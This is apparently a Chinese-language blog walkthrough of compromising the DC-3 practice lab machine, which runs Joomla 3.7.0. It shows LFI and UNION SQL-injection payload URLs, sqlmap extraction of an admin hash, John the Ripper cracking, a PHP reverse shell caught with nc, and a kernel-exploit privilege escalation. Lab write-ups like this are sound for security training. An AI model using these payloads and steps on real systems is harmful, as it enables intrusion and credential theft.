DC靶机系列——DC3练习

DC靶机系列——DC3

靶机地址:

1、Recon阶段

1.nmap扫描网段 得到目标
192.168.99.102

开启端口

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

MAC Address: 08:00:27:1C:53:6A

显然是一个网页渗透

2.浏览器访问,插件识别框架
框架是Joomla CMS
服务器是 Apache 2.4.18

打开msf,搜索joomla相关可利用模块
通过msf的joomla版本探测模块发现joomla版本是3.7.0

尝试爆破模块
爆破失败哦

把对应的joomla的利用脚本试了一遍
使用对应的rce但是没有获取session

然后扫描插件,得出以下信息

[+] Plugin: /?1.5.10-x 
[+] Plugin: /?1.5.11-x-http_ref 
[+] Plugin: /?1.5.11-x-php-s3lf 
[+] Plugin: /?1.5.3-path-disclose 
[+] Plugin: /?1.5.3-spam 
[+] Plugin: /?1.5.8-x 
[+] Plugin: /?1.5.9-x 
[+] Plugin: /?j1012-fixate-session 
[+] Plugin: /administrator/ 
[+] Plugin: /administrator/components/ 
[+] Plugin: /administrator/components/com_admin/ 
[+] Plugin: /administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+ 
[+] Plugin: /administrator/index.php?option=com_searchlog&act=log 
[+] Plugin: /components/com_ajax/ 
[+] Plugin: /components/com_banners/ 
[+] Plugin: /components/com_biblestudy/ 
[+] Page: /index.php?option=com_biblestudy
[+] Plugin: /components/com_contact/ 
[+] Page: /index.php?option=com_contact
[+] Plugin: /components/com_content/ 
[+] Page: /index.php?option=com_content
[+] Plugin: /components/com_contenthistory/ 
[+] Plugin: /components/com_fields/ 
[+] Plugin: /components/com_finder/ 
[+] Page: /index.php?option=com_finder
[+] Plugin: /components/com_mailto/ 
[+] Plugin: /components/com_media/ 
[+] Plugin: /components/com_newsfeeds/ 
[+] Page: /index.php?option=com_newsfeeds
[+] Plugin: /components/com_search/ 
[+] Page: /index.php?option=com_search
[+] Plugin: /components/com_users/ 
[+] Page: /index.php?option=com_users
[+] Plugin: /components/com_wrapper/ 
[+] Page: /index.php?option=com_wrapper
[+] Plugin: /index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1 
[+] Vulnerability: Potential LFI
[+] Plugin: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users-- 
[+] Page: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos

访问目录 /administrator/components/
发现目录遍历漏洞

后台登录界面http://192.168.99.102/administrator/

尝试用joomla爆破模块进行尝试

2、突破点

3.使用命令searchsploit
结果是到dbexploit里面

最后用sql脚本。通过sqlmap注入成功

通过sqlmap提取了部分数据,其中一个admin的joomla哈希为
$2y 10 10 10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

JohnTheRipper破解了密码
过程

root@ubuntu:/home/tool/JohnTheRipper/run# cat /root/hash1.txt
admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
root@ubuntu:/home/tool/JohnTheRipper/run# ./john --wordlist=/root/rockyou.txt /root/hash1.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
No password hashes left to crack (see FAQ)

4.现在尝试用sqlmap获取shell,获取失败

而且然后不会用这个参数,这个参数需要输入绝对路径
什么情况下适合使用sqlmap的–os-shell容易成功?

5.由于已经登录到后台(注意分为前台登录和后台登录,前台登录权限很小)
一开始登录前台,发现可以编辑文章,但是找不到可以改成php源码的地方

找不到攻击面 本地部署的joomla又不记得密码
忘了本地部署的joomla密码,但是直接改了数据库
但是不知道为什么改了没有用,后来发现是改了后台密码,不是前台密码,才想起应该登录后台
可能加密方式比较诡异

3、权限获取

现在我已经可以写入shell了,这里写入的是php的shell,应该是可以通过msf来获取php的shell的

除了使用msf的php模块,还可以结合nc和php后门来反弹
现在通过一个php反弹shell脚本成功用nc反弹了shell,地址是
http://pentestmonkey.net/tools/web-shells/php-reverse-shell

4、提权

接下来要想办法提权

提权之前,要完成低权限下的本地信息收集

提权的思路
收集本地系统信息–>寻找该版本可以利用的漏洞
先简单浏览一下root文件和home文件
然后找权限目录
执行脚本
!!这次提权是通过linux系统漏洞提权。所以需要知道详细的系统信息,并且用正确的姿势搜索
搜索到的可能是msf的模块,可能是具体的编译文件,着重关注有POC的!

本地信息收集
还可以尝试爆破shadow文件,获取密码
查看一下端口
需要查看一下系统信息

uname -a
Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

$ head -n 1 /etc/issue
Ubuntu 16.04 LTS \n \l

$ hostname
DC-3

环境变量

$ env
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/

查看网络

$ ifconfig
enp0s3    Link encap:Ethernet  HWaddr 08:00:27:1c:53:6a  
          inet addr:192.168.99.102  Bcast:192.168.99.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe1c:536a/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:107149 errors:0 dropped:0 overruns:0 frame:0
          TX packets:102449 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:16628961 (16.6 MB)  TX bytes:79850366 (79.8 MB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:289476 errors:0 dropped:0 overruns:0 frame:0
          TX packets:289476 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:21429720 (21.4 MB)  TX bytes:21429720 (21.4 MB)

$ route -n # 查看路由表
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.99.0    0.0.0.0         255.255.255.0   U     0      0        0 enp0s3

$ netstat -lntp # 查看所有监听端口
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      - 

ps -ef # 查看所有进程
$ last # 查看用户登录日志 
reboot   system boot  4.4.0-21-generic Wed Feb 26 12:25   still running
reboot   system boot  4.4.0-21-generic Wed Feb  5 14:23   still running
dc3      tty1                          Tue Mar 26 15:44 - down   (00:03)
dc3      pts/0        192.168.0.100    Tue Mar 26 15:26 - 15:48  (00:21)
reboot   system boot  4.4.0-21-generic Tue Mar 26 15:25 - 15:48  (00:23)
reboot   system boot  4.4.0-21-generic Mon Mar 25 22:07 - 15:48  (17:41)
reboot   system boot  4.4.0-21-generic Mon Mar 25 13:37 - 14:16  (00:38)
dc3      tty1                          Sun Mar 24 01:58 - crash (1+11:39)
dc3      pts/0        192.168.0.100    Sat Mar 23 19:26 - 00:59  (05:32)
reboot   system boot  4.4.0-21-generic Sat Mar 23 19:20 - 14:16 (1+18:56)

wtmp begins Sat Mar 23 19:20:32 2019

$ crontab -l # 查看当前用户的计划任务服务 
no crontab for www-data

找不到提权思路, 头大,看其他人的writeup,搜索内核信息

搜索 search

Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

$ head -n 1 /etc/issue
Ubuntu 16.04 LTS \n \l

wrieup是搜索内核信息 4.4.0-21编程4.4.x

我也搜索了一波 但是不会用
找到了github
https://github.com/offensive-security/exploitdb
很轻易就会用了,就是复制里面的文件到目标机,然后编译运行即可提权

只会用python显现出符号,更美观一点

python -c 'import pty; pty.spawn("/bin/sh")'

提权成功后,flag在根目录下

5、总结

所以这次靶机主要训练的是突破点(跳过资产整理,直接进行recon)
获取低权限后,本地提权

后渗透,如shell的控制没有涉及到。
突破是结合密码学解密,版本信息的框架sql注入,sqlmap获取敏感信息
提权是本地信息收集后找到poc提权

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值